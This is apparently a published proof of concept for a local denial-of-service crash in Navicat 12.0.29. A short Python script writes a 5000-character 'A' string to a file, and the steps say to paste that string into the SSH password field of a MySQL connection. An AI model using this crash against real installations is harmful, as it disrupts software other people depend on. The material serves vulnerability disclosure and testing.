Navicat 12.0.29 Denial Of Service

`# Exploit Title: Navicat 12.0.29 - 'SSH' Denial of Service (PoC)  
# Author: Rafael Alfaro  
# Discovery Date: 2018-10-27  
# Vendor Homepage: https://www.navicat.com/es/  
# Software Link : https://www.navicat.com/es/download/navicat-premium  
# Vulnerability Type: Denial of Service (DoS) Local  
# Tested on OS: Windows 7 x64 en, Windows 10 Home x64 es  
  
# Steps to Produce the Crash:  
# 1.- Run python code : python Navicat-SSH.py  
# 2.- Open navicat.txt and copy content to clipboard  
# 3.- Open navicat.exe  
# 4.- Click "Conexion" and select "MySQL..."  
# 5.- In the "General" tab, give a name to the connection in "Nombre de Conexion" (i. e. conexion1).  
# 6.- In the "SSH" tab check "Uso de tunel SSH", then set and IP address to the "Host" textbox (i. e. 127.0.0.1) and write down a username in "Nombre de usuario" (i. e. admin).  
# 7.- Be sure that "Metodo de autentificacion" is set to "Contrasena" and finally paste Clipboard in "Contrasena".  
# 8.- Click "Aceptar".  
# 9.- Crashed!  
  
# !/usr/bin/env python Navicat-SSH.py  
  
buffer = "\x41" * 5000  
f = open("navicat.txt", "w")  
f.write(buffer)  
f.close()  
  
`